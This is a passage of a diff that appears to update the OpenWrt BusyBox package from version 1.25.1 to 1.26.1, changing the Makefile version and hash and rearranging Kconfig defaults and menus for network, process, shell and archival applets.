+config BUSYBOX_DEFAULT_FEATURE_IPCALC_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPROUTE
+config BUSYBOX_DEFAULT_FAKEIDENTD
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPTUNNEL
+config BUSYBOX_DEFAULT_NAMEIF
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPRULE
+config BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPNEIGH
+config BUSYBOX_DEFAULT_NBDCLIENT
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPCALC
+config BUSYBOX_DEFAULT_NC
+	bool
+	default y
+config BUSYBOX_DEFAULT_NC_SERVER
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IPCALC_FANCY
+config BUSYBOX_DEFAULT_NC_EXTRA
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IPCALC_LONG_OPTIONS
+config BUSYBOX_DEFAULT_NC_110_COMPAT
 	bool
 	default n
 config BUSYBOX_DEFAULT_NETMSG
@@ -2272,6 +2281,15 @@ config BUSYBOX_DEFAULT_FEATURE_NTPD_SERVER
 config BUSYBOX_DEFAULT_FEATURE_NTPD_CONF
 	bool
 	default n
+config BUSYBOX_DEFAULT_PING
+	bool
+	default y
+config BUSYBOX_DEFAULT_PING6
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_FANCY_PING
+	bool
+	default y
 config BUSYBOX_DEFAULT_PSCAN
 	bool
 	default n
@@ -2284,6 +2302,9 @@ config BUSYBOX_DEFAULT_SLATTACH
 config BUSYBOX_DEFAULT_TCPSVD
 	bool
 	default n
+config BUSYBOX_DEFAULT_UDPSVD
+	bool
+	default n
 config BUSYBOX_DEFAULT_TELNET
 	bool
 	default n
@@ -2332,9 +2353,6 @@ config BUSYBOX_DEFAULT_TRACEROUTE6
 config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_VERBOSE
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_SOURCE_ROUTE
-	bool
-	default n
 config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_USE_ICMP
 	bool
 	default n
@@ -2344,6 +2362,36 @@ config BUSYBOX_DEFAULT_TUNCTL
 config BUSYBOX_DEFAULT_FEATURE_TUNCTL_UG
 	bool
 	default n
+config BUSYBOX_DEFAULT_VCONFIG
+	bool
+	default n
+config BUSYBOX_DEFAULT_WGET
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
+	bool
+	default n
+config BUSYBOX_DEFAULT_WHOIS
+	bool
+	default n
+config BUSYBOX_DEFAULT_ZCIP
+	bool
+	default n
 config BUSYBOX_DEFAULT_UDHCPC6
 	bool
 	default n
@@ -2395,15 +2443,6 @@ config BUSYBOX_DEFAULT_UDHCPC_SLACK_FOR_BUGGY_SERVERS
 config BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
 	string
 	default ""
-config BUSYBOX_DEFAULT_UDPSVD
-	bool
-	default n
-config BUSYBOX_DEFAULT_VCONFIG
-	bool
-	default n
-config BUSYBOX_DEFAULT_ZCIP
-	bool
-	default n
 config BUSYBOX_DEFAULT_LPD
 	bool
 	default n
@@ -2416,9 +2455,6 @@ config BUSYBOX_DEFAULT_LPQ
 config BUSYBOX_DEFAULT_MAKEMIME
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
-	string
-	default ""
 config BUSYBOX_DEFAULT_POPMAILDIR
 	bool
 	default n
@@ -2434,120 +2470,123 @@ config BUSYBOX_DEFAULT_FEATURE_REFORMIME_COMPAT
 config BUSYBOX_DEFAULT_SENDMAIL
 	bool
 	default n
-config BUSYBOX_DEFAULT_IOSTAT
+config BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
+	string
+	default ""
+config BUSYBOX_DEFAULT_FREE
 	bool
-	default n
-config BUSYBOX_DEFAULT_LSOF
+	default y
+config BUSYBOX_DEFAULT_FUSER
 	bool
 	default n
-config BUSYBOX_DEFAULT_MPSTAT
+config BUSYBOX_DEFAULT_IOSTAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_NMETER
+config BUSYBOX_DEFAULT_KILL
 	bool
-	default n
-config BUSYBOX_DEFAULT_PMAP
+	default y
+config BUSYBOX_DEFAULT_KILLALL
 	bool
-	default n
-config BUSYBOX_DEFAULT_POWERTOP
+	default y
+config BUSYBOX_DEFAULT_KILLALL5
 	bool
 	default n
-config BUSYBOX_DEFAULT_PSTREE
+config BUSYBOX_DEFAULT_LSOF
 	bool
 	default n
-config BUSYBOX_DEFAULT_PWDX
+config BUSYBOX_DEFAULT_MPSTAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_SMEMCAP
+config BUSYBOX_DEFAULT_NMETER
 	bool
 	default n
-config BUSYBOX_DEFAULT_TOP
+config BUSYBOX_DEFAULT_PGREP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+config BUSYBOX_DEFAULT_PKILL
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	default n
+config BUSYBOX_DEFAULT_PIDOF
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
+config BUSYBOX_DEFAULT_FEATURE_PIDOF_SINGLE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
+config BUSYBOX_DEFAULT_FEATURE_PIDOF_OMIT
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
+config BUSYBOX_DEFAULT_PMAP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_TOPMEM
+config BUSYBOX_DEFAULT_POWERTOP
 	bool
 	default n
-config BUSYBOX_DEFAULT_UPTIME
+config BUSYBOX_DEFAULT_PS
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_FREE
+config BUSYBOX_DEFAULT_FEATURE_PS_WIDE
 	bool
 	default y
-config BUSYBOX_DEFAULT_FUSER
+config BUSYBOX_DEFAULT_FEATURE_PS_LONG
 	bool
 	default n
-config BUSYBOX_DEFAULT_KILL
-	bool
-	default y
-config BUSYBOX_DEFAULT_KILLALL
+config BUSYBOX_DEFAULT_FEATURE_PS_TIME
 	bool
-	default y
-config BUSYBOX_DEFAULT_KILLALL5
+	default n
+config BUSYBOX_DEFAULT_FEATURE_PS_ADDITIONAL_COLUMNS
 	bool
 	default n
-config BUSYBOX_DEFAULT_PGREP
+config BUSYBOX_DEFAULT_FEATURE_PS_UNUSUAL_SYSTEMS
 	bool
-	default y
-config BUSYBOX_DEFAULT_PIDOF
+	default n
+config BUSYBOX_DEFAULT_PSTREE
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_PIDOF_SINGLE
+	default n
+config BUSYBOX_DEFAULT_PWDX
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_PIDOF_OMIT
+config BUSYBOX_DEFAULT_RENICE
 	bool
 	default n
-config BUSYBOX_DEFAULT_PKILL
+config BUSYBOX_DEFAULT_SMEMCAP
 	bool
 	default n
-config BUSYBOX_DEFAULT_PS
+config BUSYBOX_DEFAULT_BB_SYSCTL
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_PS_WIDE
+config BUSYBOX_DEFAULT_TOP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_PS_LONG
+config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_PS_TIME
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_PS_ADDITIONAL_COLUMNS
+config BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_PS_UNUSUAL_SYSTEMS
+config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
 	bool
 	default n
-config BUSYBOX_DEFAULT_RENICE
+config BUSYBOX_DEFAULT_FEATURE_TOPMEM
 	bool
 	default n
-config BUSYBOX_DEFAULT_BB_SYSCTL
+config BUSYBOX_DEFAULT_UPTIME
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
+config BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
 	bool
 	default n
 config BUSYBOX_DEFAULT_WATCH
 	bool
 	default n
+config BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
+	bool
+	default n
 config BUSYBOX_DEFAULT_CHPST
 	bool
 	default n
@@ -2578,6 +2617,9 @@ config BUSYBOX_DEFAULT_SV
 config BUSYBOX_DEFAULT_SV_DEFAULT_SERVICE_DIR
 	string
 	default ""
+config BUSYBOX_DEFAULT_SVC
+	bool
+	default n
 config BUSYBOX_DEFAULT_SVLOGD
 	bool
 	default n
@@ -2599,9 +2641,6 @@ config BUSYBOX_DEFAULT_LOAD_POLICY
 config BUSYBOX_DEFAULT_MATCHPATHCON
 	bool
 	default n
-config BUSYBOX_DEFAULT_RESTORECON
-	bool
-	default n
 config BUSYBOX_DEFAULT_RUNCON
 	bool
 	default n
@@ -2611,6 +2650,9 @@ config BUSYBOX_DEFAULT_FEATURE_RUNCON_LONG_OPTIONS
 config BUSYBOX_DEFAULT_SELINUXENABLED
 	bool
 	default n
+config BUSYBOX_DEFAULT_SESTATUS
+	bool
+	default n
 config BUSYBOX_DEFAULT_SETENFORCE
 	bool
 	default n
@@ -2620,15 +2662,45 @@ config BUSYBOX_DEFAULT_SETFILES
 config BUSYBOX_DEFAULT_FEATURE_SETFILES_CHECK_OPTION
 	bool
 	default n
+config BUSYBOX_DEFAULT_RESTORECON
+	bool
+	default n
 config BUSYBOX_DEFAULT_SETSEBOOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_SESTATUS
+config BUSYBOX_DEFAULT_SH_IS_ASH
+	bool
+	default y
+config BUSYBOX_DEFAULT_SH_IS_HUSH
 	bool
 	default n
+config BUSYBOX_DEFAULT_SH_IS_NONE
+	bool
+	default n
+config BUSYBOX_DEFAULT_BASH_IS_ASH
+	bool
+	default n
+config BUSYBOX_DEFAULT_BASH_IS_HUSH
+	bool
+	default n
+config BUSYBOX_DEFAULT_BASH_IS_NONE
+	bool
+	default y
 config BUSYBOX_DEFAULT_ASH
 	bool
 	default y
+config BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
+	bool
+	default n
+config BUSYBOX_DEFAULT_ASH_INTERNAL_GLOB
+	bool
+	default n
+config BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
+	bool
+	default n
+config BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
+	bool
+	default y
 config BUSYBOX_DEFAULT_ASH_BASH_COMPAT
 	bool
 	default y
@@ -2662,15 +2734,6 @@ config BUSYBOX_DEFAULT_ASH_CMDCMD
 config BUSYBOX_DEFAULT_ASH_MAIL
 	bool
 	default n
-config BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
-	bool
-	default n
-config BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
-	bool
-	default y
 config BUSYBOX_DEFAULT_CTTYHACK
 	bool
 	default n
@@ -2725,30 +2788,12 @@ config BUSYBOX_DEFAULT_HUSH_MODE_X
 config BUSYBOX_DEFAULT_MSH
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_SH_IS_ASH
+config BUSYBOX_DEFAULT_FEATURE_SH_MATH
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_SH_IS_HUSH
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_SH_IS_NONE
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_BASH_IS_ASH
+config BUSYBOX_DEFAULT_FEATURE_SH_MATH_64
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_BASH_IS_HUSH
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_BASH_IS_NONE
-	bool
-	default y
-config BUSYBOX_DEFAULT_SH_MATH_SUPPORT
-	bool
-	default y
-config BUSYBOX_DEFAULT_SH_MATH_SUPPORT_64
-	bool
-	default y
 config BUSYBOX_DEFAULT_FEATURE_SH_EXTRA_QUIET
 	bool
 	default n
diff --git a/package/utils/busybox/Makefile b/package/utils/busybox/Makefile
index c27f1fc..6b78230 100644
--- a/package/utils/busybox/Makefile
+++ b/package/utils/busybox/Makefile
@@ -8,14 +8,14 @@
 include $(TOPDIR)/rules.mk
 
 PKG_NAME:=busybox
-PKG_VERSION:=1.25.1
-PKG_RELEASE:=2
+PKG_VERSION:=1.26.1
+PKG_RELEASE:=1
 PKG_FLAGS:=essential
 
 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.bz2
 PKG_SOURCE_URL:=https://www.busybox.net/downloads \
 		http://sources.buildroot.net
-PKG_HASH:=27667e0f2328fdbd79cfd622e4453e5c57e58f781c5da97c9be337d93aa2a02e
+PKG_HASH:=0fbbe487fa35cc3258749cf79c259578c1a221013cc4fb60d6a3542590f781f2
 
 PKG_BUILD_DEPENDS:=BUSYBOX_USE_LIBRPC:librpc BUSYBOX_CONFIG_PAM:libpam
 PKG_BUILD_PARALLEL:=1
diff --git a/package/utils/busybox/config/Config.in b/package/utils/busybox/config/Config.in
index 3bf67c5..352a0f0 100644
--- a/package/utils/busybox/config/Config.in
+++ b/package/utils/busybox/config/Config.in
@@ -10,15 +10,18 @@ config BUSYBOX_CONFIG_HAVE_DOT_CONFIG
 
 menu "Busybox Settings"
 
-menu "General Configuration"
-
 config BUSYBOX_CONFIG_DESKTOP
 	bool "Enable options for full-blown desktop systems"
 	default BUSYBOX_DEFAULT_DESKTOP
 	help
 	  Enable options and features which are not essential.
-	  Select this only if you plan to use busybox on full-blown
-	  desktop machine with common Linux distro, not on an embedded box.
+	  Select this if you plan to use busybox on full-blown desktop machine
+	  with common Linux distro, which needs higher level of command-line
+	  compatibility.
+
+	  If you are preparing your build to be used on an embedded box
+	  where you have tighter control over the entire set of userspace
+	  tools, you can unselect this option for smaller code size.
 
 config BUSYBOX_CONFIG_EXTRA_COMPAT
 	bool "Provide compatible behavior for rare corner cases (bigger code)"
@@ -57,30 +60,6 @@ config BUSYBOX_CONFIG_PLATFORM_LINUX
 	  Answering 'N' here will disable such applets and hide the
 	  corresponding configuration options.
 
-choice
-	prompt "Buffer allocation policy"
-	default BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
-	help
-	  There are 3 ways BusyBox can handle buffer allocations:
-	  - Use malloc. This costs code size for the call to xmalloc.
-	  - Put them on stack. For some very small machines with limited stack
-	    space, this can be deadly. For most folks, this works just fine.
-	  - Put them in BSS. This works beautifully for computers with a real
-	    MMU (and OS support), but wastes runtime RAM for uCLinux. This
-	    behavior was the only one available for BusyBox versions 0.48 and
-	    earlier.
-
-config BUSYBOX_CONFIG_FEATURE_BUFFERS_USE_MALLOC
-	bool "Allocate with Malloc"
-
-config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
-	bool "Allocate on the Stack"
-
-config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_IN_BSS
-	bool "Allocate in the .bss section"
-
-endchoice
-
 config BUSYBOX_CONFIG_SHOW_USAGE
 	bool "Show applet usage messages"
 	default BUSYBOX_DEFAULT_SHOW_USAGE
@@ -143,131 +122,6 @@ config BUSYBOX_CONFIG_INSTALL_NO_USR
 	  will install applets only to /bin and /sbin,
 	  never to /usr/bin or /usr/sbin.
 
-config BUSYBOX_CONFIG_LOCALE_SUPPORT
-	bool "Enable locale support (system needs locale for this to work)"
-	default BUSYBOX_DEFAULT_LOCALE_SUPPORT
-	help
-	  Enable this if your system has locale support and you would like
-	  busybox to support locale settings.
-
-config BUSYBOX_CONFIG_UNICODE_SUPPORT
-	bool "Support Unicode"
-	default BUSYBOX_DEFAULT_UNICODE_SUPPORT
-	help
-	  This makes various applets aware that one byte is not
-	  one character on screen.
-
-	  Busybox aims to eventually work correctly with Unicode displays.
-	  Any older encodings are not guaranteed to work.
-	  Probably by the time when busybox will be fully Unicode-clean,
-	  other encodings will be mainly of historic interest.
-
-config BUSYBOX_CONFIG_UNICODE_USING_LOCALE
-	bool "Use libc routines for Unicode (else uses internal ones)"
-	default BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && BUSYBOX_CONFIG_LOCALE_SUPPORT
-	help
-	  With this option on, Unicode support is implemented using libc
-	  routines. Otherwise, internal implementation is used.
-	  Internal implementation is smaller.
-
-config BUSYBOX_CONFIG_FEATURE_CHECK_UNICODE_IN_ENV
-	bool "Check $LC_ALL, $LC_CTYPE and $LANG environment variables"
-	default BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
-	help
-	  With this option on, Unicode support is activated
-	  only if locale-related variables have the value of the form
-	  "xxxx.utf8"
-
-	  Otherwise, Unicode support will be always enabled and active.
-
-config BUSYBOX_CONFIG_SUBST_WCHAR
-	int "Character code to substitute unprintable characters with"
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	default BUSYBOX_DEFAULT_SUBST_WCHAR
-	help
-	  Typical values are 63 for '?' (works with any output device),
-	  30 for ASCII substitute control code,
-	  65533 (0xfffd) for Unicode replacement character.
-
-config BUSYBOX_CONFIG_LAST_SUPPORTED_WCHAR
-	int "Range of supported Unicode characters"
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	default BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
-	help
-	  Any character with Unicode value bigger than this is assumed
-	  to be non-printable on output device. Many applets replace
-	  such chars with substitution character.
-
-	  The idea is that many valid printable Unicode chars are
-	  nevertheless are not displayed correctly. Think about
-	  combining charachers, double-wide hieroglyphs, obscure
-	  characters in dozens of ancient scripts...
-	  Many terminals, terminal emulators, xterms etc will fail
-	  to handle them correctly. Choose the smallest value
-	  which suits your needs.
-
-	  Typical values are:
-	  126 - ASCII only
-	  767 (0x2ff) - there are no combining chars in [0..767] range
-			(the range includes Latin 1, Latin Ext. A and B),
-			code is ~700 bytes smaller for this case.
-	  4351 (0x10ff) - there are no double-wide chars in [0..4351] range,
-			code is ~300 bytes smaller for this case.
-	  12799 (0x31ff) - nearly all non-ideographic characters are
-			available in [0..12799] range, including
-			East Asian scripts like katakana, hiragana, hangul,
-			bopomofo...
-	  0 - off, any valid printable Unicode character will be printed.
-
-config BUSYBOX_CONFIG_UNICODE_COMBINING_WCHARS
-	bool "Allow zero-width Unicode characters on output"
-	default BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	help
-	  With this option off, any Unicode char with width of 0
-	  is substituted on output.
-
-config BUSYBOX_CONFIG_UNICODE_WIDE_WCHARS
-	bool "Allow wide Unicode characters on output"
-	default BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	help
-	  With this option off, any Unicode char with width > 1
-	  is substituted on output.
-
-config BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
-	bool "Bidirectional character-aware line input"
-	default BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
-	help
-	  With this option on, right-to-left Unicode characters
-	  are treated differently on input (e.g. cursor movement).
-
-config BUSYBOX_CONFIG_UNICODE_NEUTRAL_TABLE
-	bool "In bidi input, support non-ASCII neutral chars too"
-	default BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
-	depends on BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
-	help
-	  In most cases it's enough to treat only ASCII non-letters
-	  (i.e. punctuation, numbers and space) as characters
-	  with neutral directionality.
-	  With this option on, more extensive (and bigger) table
-	  of neutral chars will be used.
-
-config BUSYBOX_CONFIG_UNICODE_PRESERVE_BROKEN
-	bool "Make it possible to enter sequences of chars which are not Unicode"
-	default BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	help
-	  With this option on, on line-editing input (such as used by shells)
-	  invalid UTF-8 bytes are not substituted with the selected
-	  substitution character.
-	  For example, this means that entering 'l', 's', ' ', 0xff, [Enter]
-	  at shell prompt will list file named 0xff (single char name
-	  with char value 255), not file named '?'.
-
 config BUSYBOX_CONFIG_PAM
 	bool "Support for PAM (Pluggable Authentication Modules)"
 	default BUSYBOX_DEFAULT_PAM
@@ -275,19 +129,6 @@ config BUSYBOX_CONFIG_PAM
 	  Use PAM in some busybox applets (currently login and httpd) instead
 	  of direct access to password database.
 
-config BUSYBOX_CONFIG_FEATURE_USE_SENDFILE
-	bool "Use sendfile system call"
-	default BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  When enabled, busybox will use the kernel sendfile() function
-	  instead of read/write loops to copy data between file descriptors
-	  (for example, cp command does this a lot).
-	  If sendfile() doesn't work, copying code falls back to read/write
-	  loop. sendfile() was originally implemented for faster I/O
-	  from files to sockets, but since Linux 2.6.33 it was extended
-	  to work for many more file types.
-
 config BUSYBOX_CONFIG_LONG_OPTS
 	bool "Support for --long-options"
 	default BUSYBOX_DEFAULT_LONG_OPTS
@@ -496,9 +337,7 @@ config BUSYBOX_CONFIG_FEATURE_HAVE_RPC
 	#  This is automatically selected if any of enabled applets need it.
 	#  You do not need to select it manually.
 
-endmenu
-
-menu 'Build Options'
+comment 'Build Options'
 
 config BUSYBOX_CONFIG_STATIC
 	bool "Build BusyBox as a static binary (no shared libs)"
@@ -673,9 +512,73 @@ config BUSYBOX_CONFIG_EXTRA_LDLIBS
 	help
 	  Additional LDLIBS to pass to the linker with -l.
 
-endmenu
+comment 'Installation Options ("make install" behavior)'
+
+choice
+	prompt "What kind of applet links to install"
+	default BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
+	help
+	  Choose what kind of links to applets are created by "make install".
+
+config BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
+	bool "as soft-links"
+	help
+	  Install applets as soft-links to the busybox binary. This needs some
+	  free inodes on the filesystem, but might help with filesystem
+	  generators that can't cope with hard-links.
+
+config BUSYBOX_CONFIG_INSTALL_APPLET_HARDLINKS
+	bool "as hard-links"
+	help
+	  Install applets as hard-links to the busybox binary. This might
+	  count on a filesystem with few inodes.
+
+config BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
+	bool "as script wrappers"
+	help
+	  Install applets as script wrappers that call the busybox binary.
+
+config BUSYBOX_CONFIG_INSTALL_APPLET_DONT
+	bool "not installed"
+	help
+	  Do not install applet links. Useful when you plan to use
+	  busybox --install for installing links, or plan to use
+	  a standalone shell and thus don't need applet links.
+
+endchoice
+
+choice
+	prompt "/bin/sh applet link"
+	default BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
+	depends on BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
+	help
+	  Choose how you install /bin/sh applet link.
+
+config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
+	bool "as soft-link"
+	help
+	  Install /bin/sh applet as soft-link to the busybox binary.
+
+config BUSYBOX_CONFIG_INSTALL_SH_APPLET_HARDLINK
+	bool "as hard-link"
+	help
+	  Install /bin/sh applet as hard-link to the busybox binary.
+
+config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER
+	bool "as script wrapper"
+	help
+	  Install /bin/sh applet as script wrapper that calls
+	  the busybox binary.
+
+endchoice
 
-menu 'Debugging Options'
+config BUSYBOX_CONFIG_PREFIX
+	string "BusyBox installation prefix"
+	default BUSYBOX_DEFAULT_PREFIX
+	help
+	  Define your directory to install BusyBox files/subdirs in.
+
+comment 'Debugging Options'
 
 config BUSYBOX_CONFIG_DEBUG
 	bool "Build BusyBox with extra Debugging symbols"
@@ -769,78 +672,8 @@ endchoice
 
 endmenu
 
-menu 'Installation Options ("make install" behavior)'
-
-choice
-	prompt "What kind of applet links to install"
-	default BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
-	help
-	  Choose what kind of links to applets are created by "make install".
-
-config BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
-	bool "as soft-links"
-	help
-	  Install applets as soft-links to the busybox binary. This needs some
-	  free inodes on the filesystem, but might help with filesystem
-	  generators that can't cope with hard-links.
-
-config BUSYBOX_CONFIG_INSTALL_APPLET_HARDLINKS
-	bool "as hard-links"
-	help
-	  Install applets as hard-links to the busybox binary. This might
-	  count on a filesystem with few inodes.
-
-config BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
-	bool "as script wrappers"
-	help
-	  Install applets as script wrappers that call the busybox binary.
-
-config BUSYBOX_CONFIG_INSTALL_APPLET_DONT
-	bool "not installed"
-	help
-	  Do not install applet links. Useful when you plan to use
-	  busybox --install for installing links, or plan to use
-	  a standalone shell and thus don't need applet links.
-
-endchoice
-
-choice
-	prompt "/bin/sh applet link"
-	default BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
-	depends on BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
-	help
-	  Choose how you install /bin/sh applet link.
-
-config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
-	bool "as soft-link"
-	help
-	  Install /bin/sh applet as soft-link to the busybox binary.
-
-config BUSYBOX_CONFIG_INSTALL_SH_APPLET_HARDLINK
-	bool "as hard-link"
-	help
-	  Install /bin/sh applet as hard-link to the busybox binary.
-
-config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER
-	bool "as script wrapper"
-	help
-	  Install /bin/sh applet as script wrapper that calls
-	  the busybox binary.
-
-endchoice
-
-config BUSYBOX_CONFIG_PREFIX
-	string "BusyBox installation prefix"
-	default BUSYBOX_DEFAULT_PREFIX
-	help
-	  Define your directory to install BusyBox files/subdirs in.
-
-endmenu
-
 source libbb/Config.in
 
-endmenu
-
 comment "Applets"
 
 source archival/Config.in
diff --git a/package/utils/busybox/config/archival/Config.in b/package/utils/busybox/config/archival/Config.in
index ff4c2cf..cf47e65 100644
--- a/package/utils/busybox/config/archival/Config.in
+++ b/package/utils/busybox/config/archival/Config.in
@@ -31,7 +31,7 @@ config BUSYBOX_CONFIG_FEATURE_SEAMLESS_GZ
 	  Make tar, rpm, modprobe etc understand .gz data.
 
 config BUSYBOX_CONFIG_FEATURE_SEAMLESS_Z
-	bool "tar, rpm, modprobe etc understand .Z data"
+	bool "Make tar, rpm, modprobe etc understand .Z data"
 	default BUSYBOX_DEFAULT_FEATURE_SEAMLESS_Z  # it is ancient
 	help
 	  Make tar, rpm, modprobe etc understand .Z data.
@@ -79,10 +79,16 @@ config BUSYBOX_CONFIG_GUNZIP
 	  You can use the `-t' option to test the integrity of
 	  an archive, without decompressing it.
 
+config BUSYBOX_CONFIG_ZCAT
+	bool "zcat"
+	default BUSYBOX_DEFAULT_ZCAT
+	help
+	  Alias to "gunzip -c".
+
 config BUSYBOX_CONFIG_FEATURE_GUNZIP_LONG_OPTIONS
 	bool "Enable long options"
 	default BUSYBOX_DEFAULT_FEATURE_GUNZIP_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_GUNZIP && BUSYBOX_CONFIG_LONG_OPTS
+	depends on (BUSYBOX_CONFIG_GUNZIP || BUSYBOX_CONFIG_ZCAT) && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Enable use of long options.
 config BUSYBOX_CONFIG_BUNZIP2
@@ -97,6 +103,12 @@ config BUSYBOX_CONFIG_BUNZIP2
 
 	  Unless you have a specific application which requires bunzip2, you
 	  should probably say N here.
+
+config BUSYBOX_CONFIG_BZCAT
+	bool "bzcat"
+	default BUSYBOX_DEFAULT_BZCAT
+	help
+	  Alias to "bunzip2 -c".
 config BUSYBOX_CONFIG_UNLZMA
 	bool "unlzma"
 	default BUSYBOX_DEFAULT_UNLZMA
@@ -109,31 +121,47 @@ config BUSYBOX_CONFIG_UNLZMA
 	  The BusyBox unlzma applet is limited to decompression only.
 	  On an x86 system, this applet adds about 4K.
 
-config BUSYBOX_CONFIG_FEATURE_LZMA_FAST
-	bool "Optimize unlzma for speed"
-	default BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
-	depends on BUSYBOX_CONFIG_UNLZMA
+config BUSYBOX_CONFIG_LZCAT
+	bool "lzcat"
+	default BUSYBOX_DEFAULT_LZCAT
 	help
